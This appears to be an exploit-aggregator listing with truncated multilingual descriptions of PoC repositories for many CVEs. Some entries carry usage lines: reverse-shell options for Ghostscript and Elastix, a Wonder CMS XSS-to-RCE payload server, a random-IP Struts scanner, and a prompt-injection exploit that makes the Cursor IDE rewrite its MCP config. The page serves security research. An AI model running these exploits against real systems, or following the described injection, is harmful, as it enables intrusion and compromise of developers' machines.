CVE-2021-2109

CVE-2021-2109 Replicación y análisis de la vulnerabilidad de ejecución remota de código en Weblogic Server En enero de 2021, Oracle publicó parches de seguridad que incluyen 329 nuevos parches de seguridad en la serie de productos Oracle. En este anuncio se mencionó especialmente el aviso de...

CVE-2023-24706

CVE-2022-24706 Apache CouchDB vulnerabilidad de ejecución remota de comandos poc...

CVE-2023-41425

Wonder CMS RCE | | 描述 : XSS 到 RCE，Wonder CMS 3.2.0 evil/evil.php EOF zip -r evil.zip evil/ 将安装新主题的 JS 载荷 cat form+action=" EOF 启动新 Web 服务器以提供载荷 sudo python3 -m http.server $LPORTWEB & | | 将 RCE XSS 发送给管理员后，我们会得到以下 HTTP 调用 .. code-block:: 10.129.252.14 - - 11/Aug/2024 18:42:26 "GET /xssrce.js...

CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version

CVE-2023-4596 针对 CVE-2023-4596 的 PoC 脚本，一个高效的 Python 工具，用于通过任意文件上传执行未经身份验证的远程命令执行。 资源 安装 使用方法 免责声明 安装 root@kitploit: git clone https://github.com/X-Projetion/CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version && cd CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version pip install -r...

Elastix-2.2.0-CVE-2012-4869

Elastix 2.2.0 本地文件包含漏洞利用 - CVE-2012-4869 描述 该脚本利用了 Elastix 2.2.0 中的本地文件包含（LFI）漏洞，通过 callmepage.php 端点注入命令，实现远程代码执行（RCE）。该漏洞利用基于 CVE-2012-4869 。 功能 绕过 TLS 证书验证。 使用 Perl 反向 Shell 载荷。 支持 自定义 LHOST 和 LPORT 用于反向 Shell。 抑制 HTTPS 安全警告。 依赖 Python 3 requests 模块 使用以下命令安装依赖： root@kitploit: pip install...

CVE-2025-54135

下面是一个针对Cursor IDE中CVE-2025-54135漏洞的完整可用利用代码，旨在演示一种通过操纵模型上下文协议（MCP）配置来实现远程代码执行的提示注入攻击。该代码假设攻击者能够访问受害者的Cursor IDE配置与之交互的公共Slack频道或类似的外部MCP服务器。该利用精心构造了一个恶意提示，重写/.cursor/mcp.json文件，以在开发者的权限下执行任意命令。 ⚠️ 免责声明 此代码仅供教育目的使用。未经授权的使用是非法的。作者不对滥用行为负责。请务必获得许可并遵守法律。 漏洞利用 href 设置说明 要使用此利用代码，请按照以下步骤设置攻击基础设施： 1...

CVE-2017-10271

weblogicwlswsatrce Weblogic wls-wsat组件反序列化漏洞CVE-2017-10271利用脚本，参考https://github.com/s3xy/CVE-2017-10271修改。 命令执行并回显 直接上传shell 在linux下weblogic 10.3.6.0测试OK 使用方法及参数 python weblogicwlswsatexp.py -t IP:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional...

RTSPServer-Code-Execution-Vulnerability

Live Networks LIVE555 流媒体 RTSPServer lookForHeader 代码执行漏洞 CVE-2018-4013 概述 LIVE555 RTSP 服务器库的 HTTP 数据包解析功能中存在一个可被利用的代码执行漏洞。特制数据包可导致基于栈的缓冲区溢出，从而实现代码执行。攻击者可发送数据包触发此漏洞。 详细信息 LIVE555 媒体库是一套轻量级多媒体流库，支持 RTSP/RTCP/RTSP/SIP，提供服务器和客户端的代码支持。被 VLC、MPlayer...

CVE-2023-36844_Juniper_RCE

CVE-2023-36844JuniperRCE 一个概念验证（PoC），通过串联 CVE-2023-36844、CVE-2023-36845、CVE-2023-36846、CVE-2023-36847 这些 CVE，在 Juniper JunOS 的 SRX 和 EX 系列产品中实现远程代码执行（phpinfo）。修改自 @watchTowr 开发的原始漏洞利用程序。 Shodan 搜索语法 : title:"Juniper" http.favicon.hash:2141724739...

CVE-2025-4336

eMagicOne Store Manager for WooCommerce 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2:...

Follina-CVE-and-CVE-2021-40444

利用Follina CVE和CVE-2021-40444漏洞 目录 1. 简介 2. 前提条件 3. 设置与安装 4. 使用方法 5. 详细说明 6. 命令 7. 免责声明 简介 本仓库包含用于利用 Microsoft Office 中 Follina CVE 和 CVE-2021-40444 漏洞的脚本和资源。这些脚本会生成能够在目标系统上执行任意代码的恶意文档文件。 前提条件 Flare VM Python 3.x Microsoft Word 所需的 Python 包（列于 requirements.txt 中） 设置与安装 1. Flare VM 设置： 确保已安装 Flare...

CVE-2023-36664

CVE-2023-36664 : Ghostscript 远程代码执行 CVE-2023-36664 的概念验证。 使用方法 将载荷插入 .eps 文件： root@kitploit: python3 poc.py -f "filename" --payload "command" python3 poc.py -f file.eps --payload firefox 将反弹 Shell 载荷插入 .eps 文件： root@kitploit: python3 poc.py -f "filename" --revshell --ip "ip" --port "port" python3...

Dnstracer-1.9-Fix

Dnstracer-1.9-Fix dnstracer dnstracer 用于确定给定域名服务器（DNS）从何处获取指定主机名的信息，并沿 DNS 服务器链追溯到权威应答。 问题 dnstracer 1.9 及更早版本中存在基于栈的缓冲区溢出漏洞，攻击者可借助包含超长 name 参数的命令行执行任意代码，该参数在针对 argv0 的 strcpy 调用中未得到正确处理。 root@kitploit: /dnstracerbroken.h/ define NSMAXDNAME 1024 /dnstracer.c/ strcpyargv0, argv0; 修复 检查 argv0 的长度是否...

CVE-2026-32996

CVE-2026-32996 经身份验证的域用户可在备份服务器上实现 Veeam 远程代码执行（RCE）。 请查看博客文章了解技术细节。 https://github.com/user-attachments/assets/8a570332-1cf6-4905-9107-8fcb973c9ce7 PoC root@kitploit: CVE-2026-32996.exe "whoami C:\pwned.txt" + Found Svc.VeeamEndpointBackup.log Searching for valid GUIDs... + Valid GUID found:...

CVE-2021-21972

CVE-2021-21972 vCenter CVE-2021-21972 漏洞利用概念验证代码 研究致谢：https://swarm.ptsecurity.com/unauth-rce-vmware/，http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/ 已在 Windows 和 Unix vCenter VCSA 目标上测试通过。 使用方法 如果仅需无害地检查目标是否易受攻击，只需提供 --target 参数。 若要利用漏洞，请提供 --file、--path 和 --operating-system 标志。 将...

CVE-2017-5638

CVE-2017-5638 目录 1. 概述 2. 依赖项 3. 使用方法 概述 本项目是 Apache Struts 漏洞的概念验证。目标是创建能够生成并测试随机 IP 地址是否存在上述漏洞的软件。 请自担风险使用本项目，且仅用于教育目的。 依赖项 cURL cURL 用于向特定 IP 地址的特定端口发送构造的 HTTP 头。 Nmap Nmap 用于生成包含开放端口 80 或 443 的随机 IP 地址。 使用方法 生成随机 IP 地址并保存到文本文件。 root@kitploit: ./getip.sh 要扫描的主机数 要扫描的端口 输出文件名 root@kitploit:...

log4shell-mitigation

Log4j2 RCE漏洞详情与缓解策略 访问此 YouTube 视频获取更多详情。 https://youtu.be/jqWdwTeGRK0 这是一篇关于 CVE-2021-44228 安全漏洞（又名 Log4Shell 和 LogJam）在 log4j2 中的缓解措施的快速文章。 免责声明 所有信息及随附的代码示例仅供教育及参考之用，仅适用于您自己的系统。 请谨慎操作，风险自负。 这是什么 这是一个零日漏洞，以远程代码执行（RCE）的形式存在于特定版本的流行 Java 日志框架 log4j2 中。 严重程度如何 它在通用漏洞评分系统（CVSS）中的评分为 10 分（满分 10 分）。...

CVE-2025-27636-Practical-Lab

🛡️ CVE-2025-27636 — Apache Camel 実践的な悪用ラボ 🔍 概要 CVE-2025-27636 は、Apache Camel 、特に camel-exec コンポーネントにおける深刻な Remote Code Execution RCE 脆弱性です。これは、微妙だが危険な問題に起因します: DefaultHeaderFilterStrategy はヘッダー名の大文字小文字を区別してチェックするため、別の大文字小文字を使用してバイパスされる可能性があります。...

CVE-2020-15778-SCP-Command-Injection-Check

CVE-2020-15778 – OpenSSH SCP Command Injection Vulnerability Detection Script About CVE-2020-15778 is a command injection vulnerability discovered in the scp utility provided by OpenSSH versions ≤ 8.3p1. The issue allows an attacker to execute arbitrary commands on the client system if a crafted...

INPGer

INPGer | CVE-2022-4063 - InPost Gallery CVE-2022-4063（InPost Gallery 2.1.4.1未満）の脆弱性をチェックする自動一括ツール - 認証なしのLFIからRCEへの悪用 GNU Parallelを使用します。このツールを実行するにはparallelが必要です。 「$'\r': command not found」のようなエラーが出た場合は、「dos2unix inpger.sh」を実行してください。 Parallelのインストール Linux : apt-get install parallel -y Windows :...